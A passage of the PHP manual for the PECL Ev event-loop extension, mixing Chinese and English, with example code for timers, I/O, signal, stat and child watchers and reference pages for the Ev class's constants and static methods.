Libev is an event loop: one registers interest in certain events (such as a file descriptor being readable or a timeout occurring), and it will manage these event sources and provide the program with events.

To do this, it must take more or less complete control over the process (or thread) by executing the event loop handler, and will then communicate events via a callback mechanism.

You register interest in certain events by registering so-called event watchers, and then hand it over to libev by starting the watcher.

For details refer to the » documentation of libev

User Contributed Notes

There are no user contributed notes for this page.


需求

libev library is embedded into this extension. You don't need to install it separately.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/ev .

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

此扩展没有定义常量。

Most constants are moved to Ev singleton class.

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Simple timers

<?php
// Create and start timer firing after 2 seconds
$w1 = new EvTimer(2, 0, function () {
echo "2 seconds elapsed\n";
});

// Create and launch timer firing after 2 seconds repeating each second
// until we manually stop it
$w2 = new EvTimer(2, 1, function ($w) {
echo "is called every second, is launched after 2 seconds\n";
echo "iteration = ", Ev::iteration(), PHP_EOL;

// Stop the watcher after 5 iterations
Ev::iteration() == 5 and $w->stop();
// Stop the watcher if further calls cause more than 10 iterations
Ev::iteration() >= 10 and $w->stop();
});

// Create stopped timer. It will be inactive until we start it ourselves
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
echo "Callback of a timer created as stopped\n";

// Stop the watcher after 2 iterations
Ev::iteration() >= 2 and $w->stop();
});

// Loop until Ev::stop() is called or all of watchers stop
Ev::run();

// Start and look if it works
$w_stopped->start();
echo "Run single iteration\n";
Ev::run(Ev::RUN_ONCE);

echo "Restart the second watcher and try to handle the same events, but don't block\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Running a blocking loop\n";
Ev::run();
echo "END\n";
?>

以上示例的输出类似于：

2 seconds elapsed
is called every second, is launched after 2 seconds
iteration = 1
is called every second, is launched after 2 seconds
iteration = 2
is called every second, is launched after 2 seconds
iteration = 3
is called every second, is launched after 2 seconds
iteration = 4
is called every second, is launched after 2 seconds
iteration = 5
Run single iteration
Callback of a timer created as stopped
Restart the second watcher and try to handle the same events, but don't block
Running a blocking loop
is called every second, is launched after 2 seconds
iteration = 8
is called every second, is launched after 2 seconds
iteration = 9
is called every second, is launched after 2 seconds
iteration = 10
END

Example #2 Periodic timer. Tick each 10.5 seconds

<?php
$w = new EvPeriodic(0., 10.5, NULL, function ($w, $revents) {
echo time(), PHP_EOL;
});

Ev::run();
?>

Example #3 Periodic timer. Use reschedule callback

<?php
// Tick each 10.5 seconds

function reschedule_cb ($watcher, $now) {
return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
echo time(), PHP_EOL;
});

Ev::run();
?>

Example #4 Periodic timer. Tick every 10.5 seconds starting at now

<?php
// Tick every 10.5 seconds starting at now
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
echo time(), PHP_EOL;
});

Ev::run();
?>

Example #5 Wait until STDIN is readable

<?php
// Wait until STDIN is readable
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
echo "STDIN is readable\n";
});

Ev::run(Ev::RUN_ONCE);
?>

Example #6 Use some async I/O to access a socket

<?php
/* Use some async I/O to access a socket */

// `sockets' extension still logs warnings
// for EINPROGRESS, EAGAIN/EWOULDBLOCK etc.
error_reporting(E_ERROR);

$e_nonblocking = array (/*EAGAIN or EWOULDBLOCK*/11, /*EINPROGRESS*/115);

// Get the port for the WWW service
$service_port = getservbyname('www', 'tcp');

// Get the IP address for the target host
$address = gethostbyname('google.co.uk');

// Create a TCP/IP socket
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === FALSE) {
echo "socket_create() failed: reason: "
.socket_strerror(socket_last_error()) . "\n";
}

// Set O_NONBLOCK flag
socket_set_nonblock($socket);

// Abort on timeout
$timeout_watcher = new EvTimer(10.0, 0., function () use ($socket) {
socket_close($socket);
Ev::stop(Ev::BREAK_ALL);
});

// Make HEAD request when the socket is writable
$write_watcher = new EvIo($socket, Ev::WRITE, function ($w)
use ($socket, $timeout_watcher, $e_nonblocking)
{
// Stop timeout watcher
$timeout_watcher->stop();
// Stop write watcher
$w->stop();

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: google.co.uk\r\n";
$in .= "Connection: Close\r\n\r\n";

if (!socket_write($socket, $in, strlen($in))) {
trigger_error("Failed writing $in to socket", E_USER_ERROR);
}

$read_watcher = new EvIo($socket, Ev::READ, function ($w, $re)
use ($socket, $e_nonblocking)
{
// Socket is readable. recv() 20 bytes using non-blocking mode
$ret = socket_recv($socket, $out, 20, MSG_DONTWAIT);

if ($ret) {
echo $out;
} elseif ($ret === 0) {
// All read
$w->stop();
socket_close($socket);
return;
}

// Caught EINPROGRESS, EAGAIN, or EWOULDBLOCK
if (in_array(socket_last_error(), $e_nonblocking)) {
return;
}

$w->stop();
socket_close($socket);
});

Ev::run();
});

$result = socket_connect($socket, $address, $service_port);

Ev::run();
?>

以上示例的输出类似于：

HTTP/1.1 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=gb2312
Date: Sun, 23 Dec 2012 16:08:27 GMT
Expires: Tue, 22 Jan 2013 16:08:27 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close

Example #7 Embedding one loop into another

<?php
/*
* Try to get an embeddable event loop and embed it into the default event loop.
* If it is impossible, use the default
* loop. The default loop is stored in $loop_hi, while the embeddable loop is
* stored in $loop_lo(which is $loop_hi in the case no embeddable loop can be
* used).
*
* Sample translated to PHP
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed = NULL;

/*
* See if there is a chance of getting one that works
* (flags' value of 0 means autodetection)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
: 0;

if ($loop_lo) {
$embed = new EvEmbed($loop_lo, function () {});
} else {
$loop_lo = $loop_hi;
}
?>

Example #8 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

Example #9 Handle SIGTERM signal

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
echo "SIGTERM received\n";
$watcher->stop();
});

Ev::run();
?>

Example #10 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
echo "/var/log/messages changed\n";

$attr = $w->attr();

if ($attr['nlink']) {
printf("Current size: %ld\n", $attr['size']);
printf("Current atime: %ld\n", $attr['atime']);
printf("Current mtime: %ld\n", $attr['mtime']);
} else {
fprintf(STDERR, "`messages` file is not there!");
$w->stop();
}
});

Ev::run();
?>

Example #11 Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
$w->stop();

$stat = $w->data;

// 1 second after the most recent change of the file
printf("Current size: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
// Reset timer watcher
$timer->again();
});

$timer->data = $stat;

Ev::run();
?>

Example #12 Process status changes

<?php
$pid = pcntl_fork();

if ($pid == -1) {
fprintf(STDERR, "pcntl_fork failed\n");
} elseif ($pid) {
$w = new EvChild($pid, FALSE, function ($w, $revents) {
$w->stop();

printf("Process %d exited with status %d\n", $w->rpid, $w->rstatus);
});

Ev::run();

// Protect against Zombies
pcntl_wait($status);
} else {
//Forked child
exit(2);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Watchers

A watcher is an object that gets created to record interest in some event. For instance, the following code waits for STDIN to become readable:

<?php
// Wait until STDIN is readable
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
echo "STDIN is readable\n";
});
Ev::run(Ev::RUN_ONCE);
?>

All the watcher constructors automatically start the watchers. createStopped methods create stopped watchers(e.g. EvIo::createStopped() )

Note that a watcher will automatically be stopped when the watcher object is destroyed. Therefore, the watcher objects returned by the constructors or factory methods should be kept.

Note also that all methods changing some watcher property( set , priority etc.) automatically stop and start it again if it is active, which means pending events get lost.

See also: Watcher callbacks .

User Contributed Notes

There are no user contributed notes for this page.


Watcher callbacks

All watchers can be active(waiting for events) or inactive(paused). Only active watchers will have their callbacks invoked. All callbacks will be called with at least two arguments: watcher - the watcher, and revents a bitmask of received events.

Watcher callbacks are passed to the watcher constructors (the classes derived from EvWatcher - EvCheck::__construct() , EvChild::__construct() etc.). A watcher callback should match the following prototype:

callback( object $watcher = NULL , int $revents = NULL ): void

watcher

The watcher instance(of a class extending EvWatcher ).

revents

Watcher received events .

Each watcher type has its associated bit in revents , so one can use the same callback for multiple watchers. The event mask is named after the type, i.e. EvChild (or EvLoop::child() ) sets EV::CHILD , EvPrepare (or EvLoop::prepare() ) sets Ev::PREPARE , EvPeriodic (or EvLoop::periodic() ) sets Ev::PERIODIC and so on, with the exception of I/O events (which can set both Ev::READ and Ev::WRITE bits).

User Contributed Notes

There are no user contributed notes for this page.


Periodic watcher operation modes

EvPeriodic watcher works in different modes depending on the offset , interval and reschedule_cb parameters.

  1. Absolute timer . In this mode interval = 0 , reschedule_cb = null. This time simply fires at the wallclock time offset and doesn't repeat. It will not adjust when a time jump occurs, that is, if it is to be run at January 1st 2014 then it will run when the system time reaches or surpasses this time.

  2. Repeating interval timer . In this mode interval > 0 , reschedule_cb = null; the watcher will always be scheduled to timeout at the next offset + N * interval time(for some integer N ) and then repeat, regardless of any time jumps.

    This can be used to create timers that do not drift with respect to system time:

    <?php
    $hourly     = EvPeriodic(0, 3600, NULL, function () {
    echo     "once per hour\n";
    });
    ?>
    That doesn't mean there will always be 3600 seconds in between triggers, but only that the callback will be called when the system time shows a full hour( UTC ).

    EvPeriodic will try to run the callback in this mode at the next possible time where time = offset ( mod interval ), regardless of any time jumps.

  3. Manual reschedule mode . In this mode reschedule_cb is a callable .

    interval and offset are both being ignored. Instead, each time the periodic watcher gets scheduled, the reschedule callback ( reschedule_cb ) will be called with the watcher as first, and the current time as second argument.

    This callback must not stop or destroy this or any other periodic watchers, ever, and must not call any event loop functions or methods. To stop it return 1e30 and stop it afterwards. An EvPrepare watcher may be used for this task.

    It must return the next time to trigger, based on the passed time value (that is, the lowest time value larger than or equal to the second argument). It will usually be called just before the callback will be triggered, but might be called at other times, too.

    Example #1 Using reschedule callback

    <?php
    // Tick each 10.5 seconds

    function reschedule_cb ($watcher, $now) {
    return     $now + (10.5. - fmod($now, 10.5));
    }

    $w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
    echo     time(), PHP_EOL;
    });

    Ev::run();
    ?>

User Contributed Notes

There are no user contributed notes for this page.


The Ev class

(PECL ev >= 0.2.0)

简介

Ev is a static class providing access to the default loop and to some common operations.

类摘要

final class Ev {
/* 常量 */
const int FLAG_AUTO = 0;
const int FLAG_NOENV = 16777216;
const int FLAG_FORKCHECK = 33554432;
const int FLAG_NOINOTIFY = 1048576;
const int FLAG_SIGNALFD = 2097152;
const int FLAG_NOSIGMASK = 4194304;
const int RUN_NOWAIT = 1;
const int RUN_ONCE = 2;
const int BREAK_CANCEL = 0;
const int BREAK_ONE = 1;
const int BREAK_ALL = 2;
const int MINPRI = -2;
const int MAXPRI = 2;
const int READ = 1;
const int WRITE = 2;
const int TIMER = 256;
const int PERIODIC = 512;
const int SIGNAL = 1024;
const int CHILD = 2048;
const int STAT = 4096;
const int IDLE = 8192;
const int PREPARE = 16384;
const int CHECK = 32768;
const int EMBED = 65536;
const int CUSTOM = 16777216;
const int ERROR = 2147483648;
const int BACKEND_SELECT = 1;
const int BACKEND_POLL = 2;
const int BACKEND_EPOLL = 4;
const int BACKEND_KQUEUE = 8;
const int BACKEND_DEVPOLL = 16;
const int BACKEND_PORT = 32;
const int BACKEND_ALL = 63;
const int BACKEND_MASK = 65535;
/* 方法 */
final public static backend(): int
final public static depth(): int
final public static embeddableBackends(): int
final public static feedSignal( int $signum ): void
final public static feedSignalEvent( int $signum ): void
final public static iteration(): int
final public static now(): float
final public static nowUpdate(): void
final public static recommendedBackends(): int
final public static resume(): void
final public static run( int $flags = ?): void
final public static sleep( float $seconds ): void
final public static stop( int $how = ?): void
final public static supportedBackends(): int
final public static suspend(): void
final public static time(): float
final public static verify(): void
}

预定义常量

Flags passed to create a loop:

Ev::FLAG_AUTO

The default flags value

Ev::FLAG_NOENV

If this flag used(or the program runs setuid or setgid), libev won't look at the environment variable LIBEV_FLAGS . Otherwise(by default), LIBEV_FLAGS will override the flags completely if it is found. Useful for performance tests and searching for bugs.

Ev::FLAG_FORKCHECK

Makes libev check for a fork in each iteration, instead of calling EvLoop::fork() manually. This works by calling getpid() on every iteration of the loop, and thus this might slow down the event loop with lots of loop iterations, but usually is not noticeable. This flag setting cannot be overridden or specified in the LIBEV_FLAGS environment variable.

Ev::FLAG_NOINOTIFY

When this flag is specified, libev won't attempt to use the inotify API for its » ev_stat watchers. The flag can be useful to conserve inotify file descriptors, as otherwise each loop using ev_stat watchers consumes one inotify handle.

Ev::FLAG_SIGNALFD

When this flag is specified, libev will attempt to use the signalfd API for its » ev_signal (and » ev_child ) watchers. This API delivers signals synchronously, which makes it both faster and might make it possible to get the queued signal data. It can also simplify signal handling with threads, as long as signals are properly blocked in threads. Signalfd will not be used by default.

Ev::FLAG_NOSIGMASK

When this flag is specified, libev will avoid to modify the signal mask. Specifically, this means having to make sure signals are unblocked before receiving them.

This behaviour is useful for custom signal handling, or handling signals only in specific threads.

Flags passed to Ev::run() , or EvLoop::run()

Ev::RUN_NOWAIT

Means that event loop will look for new events, will handle those events and any already outstanding ones, but will not wait and block the process in case there are no events and will return after one iteration of the loop. This is sometimes useful to poll and handle new events while doing lengthy calculations, to keep the program responsive.

Ev::RUN_ONCE

Means that event loop will look for new events (waiting if necessary) and will handle those and any already outstanding ones. It will block the process until at least one new event arrives (which could be an event internal to libev itself, so there is no guarantee that a user-registered callback will be called), and will return after one iteration of the loop.

Flags passed to Ev::stop() , or EvLoop::stop()

Ev::BREAK_CANCEL

Cancel the break operation.

Ev::BREAK_ONE

Makes the innermost Ev::run() (or EvLoop::run() ) call return.

Ev::BREAK_ALL

Makes all nested Ev::run() (or EvLoop::run() ) calls return.

Watcher priorities:

Ev::MINPRI

Minimum allowed watcher priority.

Ev::MAXPRI

Maximum allowed watcher priority.

Bit masks of (received) events:

Ev::READ

The file descriptor in the EvIo watcher has become readable.

Ev::WRITE

The file descriptor in the EvIo watcher has become writable.

Ev::TIMER

EvTimer watcher has been timed out.

Ev::PERIODIC

EvPeriodic watcher has been timed out.

Ev::SIGNAL

A signal specified in EvSignal::__construct() has been received.

Ev::CHILD

The pid specified in EvChild::__construct() has received a status change.

Ev::STAT

The path specified in EvStat watcher changed its attributes.

Ev::IDLE

EvIdle watcher works when there is nothing to do with other watchers.

Ev::PREPARE

All EvPrepare watchers are invoked just before Ev::run() starts. Thus, EvPrepare watchers are the last watchers invoked before the event loop sleeps or polls for new events.

Ev::CHECK

All EvCheck watchers are queued just after Ev::run() has gathered the new events, but before it queues any callbacks for any received events. Thus, EvCheck watchers will be invoked before any other watchers of the same or lower priority within an event loop iteration.

Ev::EMBED

The embedded event loop specified in the EvEmbed watcher needs attention.

Ev::CUSTOM

Not ever sent(or otherwise used) by libev itself, but can be freely used by libev users to signal watchers (e.g. via EvWatcher::feed() ).

Ev::ERROR

An unspecified error has occurred, the watcher has been stopped. This might happen because the watcher could not be properly started because libev ran out of memory, a file descriptor was found to be closed or any other problem. Libev considers these application bugs. See also » ANATOMY OF A WATCHER

Backend flags:

Ev::BACKEND_SELECT

select(2) backend

Ev::BACKEND_POLL

poll(2) backend

Ev::BACKEND_EPOLL

Linux-specific epoll(7) backend for both pre- and post-2.6.9 kernels

Ev::BACKEND_KQUEUE

kqueue backend used on most BSD systems. EvEmbed watcher could be used to embed one loop(with kqueue backend) into another. For instance, one can try to create an event loop with kqueue backend and use it for sockets only.

Ev::BACKEND_DEVPOLL

Solaris 8 backend. This is not implemented yet.

Ev::BACKEND_PORT

Solaris 10 event port mechanism with a good scaling.

Ev::BACKEND_ALL

Try all backends(even currupted ones). It's not recommended to use it explicitly. Bitwise operators should be applied here(e.g. Ev::BACKEND_ALL & ~ Ev::BACKEND_KQUEUE ) Use Ev::recommendedBackends() , or don't specify any backends at all.

Ev::BACKEND_MASK

Not a backend, but a mask to select all backend bits from flags value to mask out any backends(e.g. when modifying the LIBEV_FLAGS environment variable).

Note:

For the default loop during module initialization phase Ev registers » ev_loop_fork call by means of pthread_atfork (if available).

Note:

There are methods providing access to the default event loop in Ev class(e.g. Ev::iteration() , Ev::depth() etc.) For custom loops (created with EvLoop::__construct() ) these values may be accessed via corresponding properties and methods of the EvLoop class.

The instance of the default event loop itself can be fetched by means of EvLoop::defaultLoop() method.

Table of Contents

  • Ev::backend — Returns an integer describing the backend used by libev
  • Ev::depth — Returns recursion depth
  • Ev::embeddableBackends — Returns the set of backends that are embeddable in other event loops
  • Ev::feedSignal — Feed a signal event info Ev
  • Ev::feedSignalEvent — Feed signal event into the default loop
  • Ev::iteration — Return the number of times the default event loop has polled for new events
  • Ev::now — Returns the time when the last iteration of the default event loop has started
  • Ev::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress
  • Ev::recommendedBackends — Returns a bit mask of recommended backends for current platform
  • Ev::resume — Resume previously suspended default event loop
  • Ev::run — Begin checking for events and calling callbacks for the default loop
  • Ev::sleep — Block the process for the given number of seconds
  • Ev::stop — Stops the default event loop
  • Ev::supportedBackends — Returns the set of backends supported by current libev configuration
  • Ev::suspend — Suspend the default event loop
  • Ev::time — Returns the current time in fractional seconds since the epoch
  • Ev::verify — Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer describing the backend used by libev

  • ? Ev
  • Ev::depth ?
  • PHP Manual
  • Ev
  • Returns an integer describing the backend used by libev

Ev::backend

(PECL ev >= 0.2.0)

Ev::backend — Returns an integer describing the backend used by libev

说明

final public static Ev::backend(): int

Returns an integer describing the backend used by libev . See Backend flags

参数

此函数没有参数。

返回值

Returns an integer(bit mask) describing the backend used by libev .

参见

  • EvEmbed
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops
  • Ev::recommendedBackends() - Returns a bit mask of recommended backends for current platform
  • Ev::supportedBackends() - Returns the set of backends supported by current libev configuration
  • Backend flags

User Contributed Notes

There are no user contributed notes for this page.


Returns recursion depth

  • ? Ev::backend
  • Ev::embeddableBackends ?
  • PHP Manual
  • Ev
  • Returns recursion depth

Ev::depth

(PECL ev >= 0.2.0)

Ev::depth — Returns recursion depth

说明

final public static Ev::depth(): int

The number of times Ev::run() was entered minus the number of times Ev::run() was exited normally, in other words, the recursion depth. Outside Ev::run() , this number is 0 . In a callback, this number is 1 , unless Ev::run() was invoked recursively (or from another thread), in which case it is higher.

参数

此函数没有参数。

返回值

ev_depth() returns recursion depth of the default loop.

参见

  • Ev::iteration() - Return the number of times the default event loop has polled for new events

User Contributed Notes

There are no user contributed notes for this page.


Returns the set of backends that are embeddable in other event loops

  • ? Ev::depth
  • Ev::feedSignal ?
  • PHP Manual
  • Ev
  • Returns the set of backends that are embeddable in other event loops

Ev::embeddableBackends

(PECL ev >= 0.2.0)

Ev::embeddableBackends — Returns the set of backends that are embeddable in other event loops

说明

final public static Ev::embeddableBackends(): int

Returns the set of backends that are embeddable in other event loops.

参数

此函数没有参数。

返回值

Returns a bit mask which can containing backend flags combined using bitwise OR operator.

示例

Example #1 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

参见

  • EvEmbed
  • Ev::recommendedBackends() - Returns a bit mask of recommended backends for current platform
  • Ev::supportedBackends() - Returns the set of backends supported by current libev configuration
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Feed a signal event info Ev

  • ? Ev::embeddableBackends
  • Ev::feedSignalEvent ?
  • PHP Manual
  • Ev
  • Feed a signal event info Ev

Ev::feedSignal

(PECL ev >= 0.2.0)

Ev::feedSignal — Feed a signal event info Ev

说明

final public static Ev::feedSignal( int $signum ): void

Simulates a signal receive. It is safe to call this function at any time, from any context, including signal handlers or random threads. Its main use is to customise signal handling in the process.

Unlike Ev::feedSignalEvent() , this works regardless of which loop has registered the signal.

参数

signum

Signal number. See signal(7) man page for detals. You can use constants exported by pcntl extension.

返回值

没有返回值。

参见

  • Ev::feedSignalEvent() - Feed signal event into the default loop

User Contributed Notes

There are no user contributed notes for this page.


Feed signal event into the default loop

  • ? Ev::feedSignal
  • Ev::iteration ?
  • PHP Manual
  • Ev
  • Feed signal event into the default loop

Ev::feedSignalEvent

(No version information available, might only be in Git)

Ev::feedSignalEvent — Feed signal event into the default loop

说明

final public static Ev::feedSignalEvent( int $signum ): void

Feed signal event into the default loop. Ev will react to this call as if the signal specified by signal had occurred.

参数

signum

Signal number. See signal(7) man page for detals. See also constants exported by pcntl extension.

返回值

没有返回值。

参见

  • Ev::feedSignal() - Feed a signal event info Ev

User Contributed Notes

There are no user contributed notes for this page.


Return the number of times the default event loop has polled for new events

  • ? Ev::feedSignalEvent
  • Ev::now ?
  • PHP Manual
  • Ev
  • Return the number of times the default event loop has polled for new events

Ev::iteration

(PECL ev >= 0.2.0)

Ev::iteration — Return the number of times the default event loop has polled for new events

说明

final public static Ev::iteration(): int

Return the number of times the event loop has polled for new events. Sometimes useful as a generation counter.

参数

此函数没有参数。

返回值

Returns number of polls of the default event loop.

参见

  • Ev::depth() - Returns recursion depth

User Contributed Notes

There are no user contributed notes for this page.


Returns the time when the last iteration of the default event loop has started

  • ? Ev::iteration
  • Ev::nowUpdate ?
  • PHP Manual
  • Ev
  • Returns the time when the last iteration of the default event loop has started

Ev::now

(PECL ev >= 0.2.0)

Ev::now — Returns the time when the last iteration of the default event loop has started

说明

final public static Ev::now(): float

Returns the time when the last iteration of the default event loop has started. This is the time that timers( EvTimer and EvPeriodic ) are based on, and referring to it is usually faster then calling Ev::time() .

参数

此函数没有参数。

返回值

Returns number of seconds(fractional) representing the time when the last iteration of the default event loop has started.

参见

  • Ev::nowUpdate() - Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress

User Contributed Notes

There are no user contributed notes for this page.


Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress

  • ? Ev::now
  • Ev::recommendedBackends ?
  • PHP Manual
  • Ev
  • Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress

Ev::nowUpdate

(PECL ev >= 0.2.0)

Ev::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress

说明

final public static Ev::nowUpdate(): void

Establishes the current time by querying the kernel, updating the time returned by Ev::now() in the progress. This is a costly operation and is usually done automatically within Ev::run() .

This method is rarely useful, but when some event callback runs for a very long time without entering the event loop, updating libev 's consideration of the current time is a good idea.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Ev::now() - Returns the time when the last iteration of the default event loop has started

User Contributed Notes

There are no user contributed notes for this page.


Returns a bit mask of recommended backends for current platform

  • ? Ev::nowUpdate
  • Ev::resume ?
  • PHP Manual
  • Ev
  • Returns a bit mask of recommended backends for current platform

Ev::recommendedBackends

(PECL ev >= 0.2.0)

Ev::recommendedBackends — Returns a bit mask of recommended backends for current platform

说明

final public static Ev::recommendedBackends(): int

Returns the set of all backends compiled into this binary of libev and also recommended for this platform, meaning it will work for most file descriptor types. This set is often smaller than the one returned by ev_supported_backends() , as for example kqueue is broken on most BSD systems and will not be auto-detected unless it is requested explicitly. This is the set of backends that libev will probe no backends specified explicitly.

参数

此函数没有参数。

返回值

Returns a bit mask which can containing backend flags combined using bitwise OR operator.

示例

Example #1 Embedding one loop into another

<?php
/*
* Try to get an embeddable event loop and embed it into the default event loop.
* If it is impossible, use the default
* loop. The default loop is stored in $loop_hi, while the embeddable loop is
* stored in $loop_lo(which is $loop_hi in the case no embeddable loop can be
* used).
*
* Sample translated to PHP
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed = NULL;

/*
* See if there is a chance of getting one that works
* (flags' value of 0 means autodetection)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
: 0;

if ($loop_lo) {
$embed = new EvEmbed($loop_lo, function () {});
} else {
$loop_lo = $loop_hi;
}
?>

参见

  • EvEmbed
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops
  • Ev::supportedBackends() - Returns the set of backends supported by current libev configuration
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Resume previously suspended default event loop

  • ? Ev::recommendedBackends
  • Ev::run ?
  • PHP Manual
  • Ev
  • Resume previously suspended default event loop

Ev::resume

(PECL ev >= 0.2.0)

Ev::resume — Resume previously suspended default event loop

说明

final public static Ev::resume(): void

Ev::suspend() and Ev::resume() methods suspend and resume a loop correspondingly.

All timer watchers will be delayed by the time spend between suspend and resume , and all periodic watchers will be rescheduled(that is, they will lose any events that would have occurred while suspended).

After calling Ev::suspend() it is not allowed to call any function on the given loop other than Ev::resume() . Also it is not allowed to call Ev::resume() without a previous call to Ev::suspend() .

Calling suspend / resume has the side effect of updating the event loop time(see Ev::nowUpdate() ).

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Ev::suspend() - Suspend the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Begin checking for events and calling callbacks for the default loop

  • ? Ev::resume
  • Ev::sleep ?
  • PHP Manual
  • Ev
  • Begin checking for events and calling callbacks for the default loop

Ev::run

(PECL ev >= 0.2.0)

Ev::run — Begin checking for events and calling callbacks for the default loop

说明

final public static Ev::run( int $flags = ?): void

Begin checking for events and calling callbacks for the default loop . Returns when a callback calls Ev::stop() method, or the flags are nonzero(in which case the return value is true) or when there are no active watchers which reference the loop( EvWatcher::keepalive() is true), in which case the return value will be false. The return value can generally be interpreted as if true, there is more work left to do .

参数

flags

Optional parameter flags can be one of the following:

List for possible values of flags
flags | Description
0 | The default behavior described above
Ev::RUN_ONCE | Block at most one(wait, but don't loop)
Ev::RUN_NOWAIT | Don't block at all(fetch/handle events, but don't wait)

See the run flag constants .

返回值

没有返回值。

参见

  • Ev::stop() - Stops the default event loop
  • EvLoop::run() - Begin checking for events and calling callbacks for the loop

User Contributed Notes

There are no user contributed notes for this page.


Block the process for the given number of seconds

  • ? Ev::run
  • Ev::stop ?
  • PHP Manual
  • Ev
  • Block the process for the given number of seconds

Ev::sleep

(PECL ev >= 0.2.0)

Ev::sleep — Block the process for the given number of seconds

说明

final public static Ev::sleep( float $seconds ): void

Block the process for the given number of seconds.

参数

seconds

Fractional number of seconds

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Stops the default event loop

  • ? Ev::sleep
  • Ev::supportedBackends ?
  • PHP Manual
  • Ev
  • Stops the default event loop

Ev::stop

(PECL ev >= 0.2.0)

Ev::stop — Stops the default event loop

说明

final public static Ev::stop( int $how = ?): void

Stops the default event loop

参数

how

One of Ev::BREAK_* constants .

返回值

没有返回值。

参见

  • Ev::run() - Begin checking for events and calling callbacks for the default loop

User Contributed Notes

There are no user contributed notes for this page.


Returns the set of backends supported by current libev configuration

  • ? Ev::stop
  • Ev::suspend ?
  • PHP Manual
  • Ev
  • Returns the set of backends supported by current libev configuration

Ev::supportedBackends

(PECL ev >= 0.2.0)

Ev::supportedBackends — Returns the set of backends supported by current libev configuration

说明

final public static Ev::supportedBackends(): int

Returns the set of backends supported by current libev configuration.

参数

此函数没有参数。

返回值

Returns a bit mask which can containing backend flags combined using bitwise OR operator.

示例

Example #1 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
